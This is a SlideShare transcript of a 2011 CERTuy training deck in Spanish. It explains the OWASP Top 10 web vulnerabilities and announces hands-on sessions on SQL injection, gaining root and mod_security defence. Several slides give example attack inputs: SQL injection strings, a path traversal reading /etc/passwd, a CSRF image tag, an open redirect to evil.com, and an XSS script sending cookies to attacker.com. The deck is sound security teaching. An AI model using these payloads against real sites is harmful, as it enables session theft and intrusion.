Cer tuy capacitaciones2011_v1
Upcoming SlideShare
Loading in...5
×
 

Cer tuy capacitaciones2011_v1

on

  • 591 views

Presentación ciclo de capacitaciones CERTuy 2011.

Presentación ciclo de capacitaciones CERTuy 2011.

Statistics

Views

Total Views
591
Views on SlideShare
591
Embed Views
0

Actions

Likes
0
Downloads
1
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Cer tuy capacitaciones2011_v1 Cer tuy capacitaciones2011_v1 Presentation Transcript

  • Obteniendo el root mediante técnica de ataque Web Diciembre, 2011 Mauro Rossi – Andrés Gómez 1
  • CERTuy Presidencia de la• Centro Nacional de Gestión de Incidentes República de Seguridad Informática.• Creado por Ley en 2008. AGESIC• Cometidos: CERTuy – Proteger los sistemas informáticos críticos del Estado. – Difundir buenas prácticas en la materia. Ministerio de …. Ministerio de Economía Defensa
  • Los oradoresAndrés Gómez: Productor de software, administrador de base de datos, gestorde proyectos en una variedad de aplicaciones denegocio, pentester, administrador de sistemas, arquitecto de sistemas.Particularmente interesado en la seguridad y gestión de TI.Cuándo no está trabajando, Andrés pasa su tiempo libre vulnerandoaplicaciones y reportando exploits con sus correspondientes parches.Mauro Rossi: 7 años de experiencia en administración de servidores Linux(SuSE, Debian, Gentoo, Red Hat, Fedora, CentOS, Ubuntu, Arch Linux). Shellcoder, pentester de servidores de hosting y aplicaciones Web. Parallels PleskBeta Tester.Cuándo no está trabajando, Mauro se divierte entrenando Mai Tai.
  • Para alinearnos...• Vulnerabilidad: En seguridad informática una vulnerabilidad se define como una debilidad de un sistema que permite a un atacante comprometer la confidencialidad, integridad y/o disponibilidad de datos.• Hacker: Aquellos que depuran y arreglan errores en los sistemas.• BlackHat: concierne principalmente a entradas remotas no autorizadas por medio de redes de comunicación como Internet.• OWASP: Open Web Application Security Project.Organización sin fines de lucro con el objetivo de mejorar la seguridad deaplicaciones. La misión de OWASP es hacer visible los verdaderos riesgos deseguridad de las aplicaciones para que las personas y organizaciones puedantomar deiciones informadas. OWASP es de participación libre y todo el materialestá disponible de forma gratuita bajo licencias open source.
  • Top 10 OWASP• INYECCIONES: Las fallas de inyección ocurren cuando una aplicación envía datos no confiables a un interprete. Las fallas de inyección son muy prevalentes, particularmente en código legado, el cual es frecuentemente encontrado en consultas SQL, LDAP, XPath, comandos de SO, argumentos de programa, etc.• INYECCION SQL: Se da por la falta o errores en la validación de input del usuario, o falta de filtros de caracteres de escape.Ejemplo:String query = "SELECT * FROM accounts WHERE custID=" +request.getParameter("id") +"";Ataque:http://example.com/app/accountView?id= or 1=1
  • • Blind SQL Injection: Blind porque los resultados directos de la inyección no son visibles para el atacante. El sitio no muestra datos pero se comporta de manera diferente dependiendo del resultado de la query inyectada.Ejemplo:SELECT `booktitle` FROM `booklist` WHERE `bookId` = OOk14cd AND 1=1;Es verdadero, por lo que se comporta de forma normal.SELECT `booktitle` FROM `booklist` WHERE `bookId` = OOk14cd AND 1=2;Es falso, el sitio se comporta de forma irregular.• Una falla de inyección puede resultar en perdida o corrupción de datos, falta de integridad, o negación de acceso. Una falla de inyección puede algunas veces llevar a la toma de posesión completa del servidor.
  • • Cross Site Scripting: Un ataque XSS ocurre cuando es posible enviar datos no validados a un navegador web. XSS permite a los atacantes ejecutar scripts en el navegador de la victima lo que puede causar "session hijacking", modificación del codigo del sitio web, o redirigir al usuario a un sitio malicioso, entre otras cosas.Ejemplo:(String) page += "<input name=creditcard type=TEXT‘ value=" +request.getParameter("CC") + ">";Se inserta el siguiente script en el parametro CC:><script>document.location=http://www.attacker.com/cgi-bin/cookie.cgi?foo=+document.cookie</script>.
  • • Autenticación y manejo de sesiones: Fallos en la implementacion de funcioens de autenticación y manejo de sesiones que permiten a un atacante bypassear logins, obtener passwords, keys, cookies de sesiones, o ejecutar código utilizando credenciales de otro usuario.Ejemplo:http://[Victim]/path/admin.phpBypass de login y password via SQLi:ID: or 1=1Password: or 1=1
  • • Local File Inclusion: Esto ocurre cuando un programador hace referencia a un objeto o archivo interno y lo expone a través de una aplicación de acceso publico. Sin ningún tipo de control de acceso, los atacantes pueden manipular estos objetos y obtener datos confidenciales.Ejemplo:http://example.com/app/accountInfo?acct=notmyaccthttp://example.com/app/accountInfo?loginscript=../../../../etc/passwd
  • • Cross-site Request Foregy: Este tipo de ataque ocurre cuando se le fuerza a un usuario a enviar un request HTTP (que incluye una cookie de sesión) hacia una aplicación vulnerable. Esto permite que el atacante genere requests desde el navegador de la victima las cuales la aplicación va a tomar como válidas.Ejemplo:http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243<imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />
  • • Errores de configuración y versiones de software: Mantener la seguridad de los sistemas implica que se utilicen configuraciones para las aplicaciones, frameworks, servidores web, servidores de base de datos, etc, que tengan en cuenta la seguridad de las mismas. Muchas veces las configuraciones por defecto no son seguras. También es importante actualizar las versiones de software regularmente y aplicar parches de vulnerabilidades.Ejemplo:Passwords por defecto.No se elimina directorio de instalacion de aplicaciones (ej: “installation”joomla).Errores en seteos de permisos (lectura de archivos de config).
  • • Errores de criptografía: Muchas aplicaciones web no protegen adecuadamente los datos como los números de tarjetas de crédito, credenciales de autenticación, etc. Esto permite que un atacante pueda robar o modificar esos datos facilmente y utilizarlos para delitos de fraude o robo de identidad.Ejemplo:Base de datos con passwords en texto plano.Uso de algoritmos de hashing vulnerables.
  • • Restricciones de acceso a URL: Es frecuente que las aplicaciones web chequean permisos de acceso a URLs antes de mostrar ciertos links, pero muchas veces no vuelven a hacerlo una vez que se obtuvo el link y permiten acceder a esas URL sin ningún control.Ejemplo:Para obtener el link a http://vuln.site.com/admin_cp_hidden/ necesito loginpero /admin_cp_hidden/ no requiere credenciales.
  • • Insuficiente protección de Layer4: Muy frecuentemente las aplicaciones web no autentican, cifran o protegen la confidencialidad e integridad del tráfico de red. Esto permite entre otras cosas el uso de sniffers para la obtención de datos confidenciales.Ejemplo:Login a una webapp sin usar HTTPS. Envío mis credenciales en texto plano y unatacante las obtiene mediante sniffing.
  • • Redirecciones sin validación (RFI): Varias aplicaciones web redirigen a los usuarios a sitios web de terceros sin validar el origen de la URL de redireccion. De esta forma un atacante puede redirigir a sus victimas a sitios de phishing o sitios que contienen malware sin pasar por ningún control.Ejemplo:http://www.example.com/redirect.jsp?url=evil.com
  • HORA DE DIVERTIRSE….VAMOS A VULNERAR!  Práctico de inyecciones SQL (50 minutos).
  • SEGUIMOS DIVIRTIENDONOS….HORA DE JUGAR A SER ROOT!  Práctico de uplodeo de shell y rooteo del servidor (50 minutos).
  • ES DIVERTIDO SER MALO, PERO….AHORA VAMOS A PROTEGER!!! Presentación y Práctico de mod_security. Ataque y Defensa. (90 minutos).
  • www.cert.uycert@cert.uy mauro.rossi@security-pentest.com andres.gomez@security-pentest.com